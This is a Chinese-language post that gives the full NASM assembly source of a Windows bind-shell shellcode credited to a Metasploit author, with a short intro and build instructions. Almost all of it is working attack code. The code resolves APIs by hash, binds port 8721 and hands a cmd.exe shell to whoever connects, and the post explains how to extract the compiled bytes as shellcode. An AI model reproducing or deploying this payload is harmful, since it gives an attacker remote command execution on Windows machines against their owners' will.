Asm,Cmd Shell,Win32 Bind Command Shell ShellCode:

    Asm,Cmd Shell,Win32 Bind Command Shell ShellCode,本地绑定 Cmd Shell 的 ShellCode。说通俗点就是,本地开一个端口,然后你用“Telnet IP Port”或者“nc -vv IP:Port”连接上以后,就直接是一个远程 Cmd 权限了,远程执行 Cmd 命令。这个就能理解了吧,很多人都玩过。

;标题:  Win32 Bind Shell
;平台:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
;功能:  监听连接并产生Command Shell
;作者:  hdm[at]metasploit.com
;编译:  nasm -f bin -o win32_bind.bin win32_bind.asm

;ShellCode提取:编译生成的 win32_bind.bin 的十六进制数值即 ShellCode

[BITS 32]

global _start

_start:

LCaller:
    call LLoadFunctions

LDataSegment:
;========================

dd "CMD"

dd 0x79c679e7 ; closesocket             12
dd 0x498649e5 ; accept                  16
dd 0xe92eada4 ; listen                  20
dd 0xc7701aa4 ; bind                    24
dd 0xadf509d9 ; WSASocketA              28
dd 0x3bfcedcb ; WSAStartup              32

dd 0xec0e4e8e ; LoadLibraryA            36
dd 0x60e0ceef ; ExitThread              40
dd 0xce05d9ad ; WaitForSingleObject     44
dd 0x16b3fe72 ; CreateProcessA          48

db "WS2_32.DLL", 0x00, 0x01
;========================

LLoadFunctions: 
    pop ebx 
    push esp
 mov ebp, esp
    mov [ebp], ebx

LKernel32Base:
    push byte 0x30
    pop ecx
    mov eax, [fs:ecx]
 mov eax, [eax + 0x0c]
 mov esi, [eax + 0x1c]
 lodsd     
 mov ebx, [eax + 0x08]
    jmp short LStartLoading

LLoadWinsock:
    lea edx, [edi + 44] ; 获取 ws2_32.dll 地址
    push ecx            ; 保存计数器
    push edx            ; 压入 ws2_32.dll 地址
    call eax            ; LoadLibraryA()
    mov ebx, eax        ; 保存模块句柄
    pop ecx             ; 恢复计数器
    jmp short Looper2
   
LStartLoading:
    ; 开始装载地址 ebp + 12
    push byte 0x08
    pop esi
    add esi, ebp

    ; 计数器功能
    push byte 0x0a
    pop ecx
    mov edi, [ebp]
   
Looper:
    cmp cl, 0x06
    je short LLoadWinsock

Looper2:   
    push ecx                    ; 保存计数器
    push ebx                    ; dll 句柄
    push dword [edi + ecx*4]    ; hash 函数值
    call LGetProcAddress        ; 查找地址
    pop ecx                     ; 恢复计数器
    mov [esi + ecx * 4], eax    ; 堆栈段存放的地址
    loop Looper
 xor edi, edi

LWSAStartup:
 ; WSAStartup(0x101, DATA)
    sub sp, 400
 push esp
 push 0x101
 call [ebp + 32]

LWSASocketA:
 ; WSASocketA(2,1,0,0,0,0)
 push edi
 push edi
 push edi
 push edi
 inc edi
 push edi
 inc edi
 push edi
 call [ebp + 28]
 mov ebx, eax                ; 保存接口到 ebx
    xor edi, edi
   
LBind:
 push edi
 push edi
 push dword 0x11220002 ; 端口 8721
 mov esi, esp
 push byte 0x10        ; 长度
 push esi
 push ebx
 call [ebp + 24]

LListen:
 push edi
 push ebx
 call [ebp + 20]

LAccept:
 push edi
 push esi
 push ebx
 call [ebp + 16]
 mov edx, eax

LCreateProcessStructs:
 ; 为 STARTUPINFO, PROCESS_INFORMATION 分配空间
 sub sp, 0x54

 ; zero out SI/PI
 lea edi, [esp]
 xor eax, eax
    push byte 21
    pop ecx
   
LBZero:
 rep stosd
   
    mov edi, edx
 mov byte [esp + 16], 68  ; si.cb = sizeof(si)
 inc byte [esp + 61]  ; si.dwFlags = 0x100

 ; 接口句柄
 mov [esp + 16 + 56], edi
 mov [esp + 16 + 60], edi
 mov [esp + 16 + 64], edi

 lea eax, [esp + 16] ; si
 push esp   ; pi
 push eax
 push ecx
 push ecx
 push ecx
   
    inc ecx
 push ecx
    dec ecx
   
 push ecx
 push ecx
 push dword [ebp]
 push ecx

LCreateProcess:
 call [ebp + 48]
 mov ecx, esp
   
LWaitForSingleObject:
    push 0xFFFFFFFF
    push dword [ecx]
    call [ebp + 44]

LCloseSocket:
    push edi
    call [ebp + 12]

LFinished:
    call [ebp + 40]
 
LGetProcAddress:
 push ebx
 push ebp
 push esi
 push edi
 mov ebp, [esp + 24]   
 mov eax, [ebp + 0x3c]  
 mov edx, [ebp + eax + 120]
 add edx, ebp    
 mov ecx, [edx + 24]   
 mov ebx, [edx + 32]
 add ebx, ebp

LFnlp:

 jecxz LNtfnd
 dec ecx
 mov esi, [ebx + ecx * 4]
 add esi, ebp    
 xor edi, edi
 cld

LHshlp:

 xor eax, eax
 lodsb
 cmp al, ah
 je LFnd
 ror edi, 13
 add edi, eax
 jmp short LHshlp

LFnd:
 
 cmp edi, [esp + 20]
 jnz LFnlp
 mov ebx, [edx + 36]   
 add ebx, ebp
 mov cx, [ebx + 2 * ecx]  
 mov ebx, [edx + 28]   
 add ebx, ebp
 mov eax, [ebx + 4 * ecx] 
 add eax, ebp
 jmp short LDone

LNtfnd:
 xor eax, eax

LDone:
 mov edx, ebp
 pop edi
 pop esi
 pop ebp
 pop ebx
 ret 8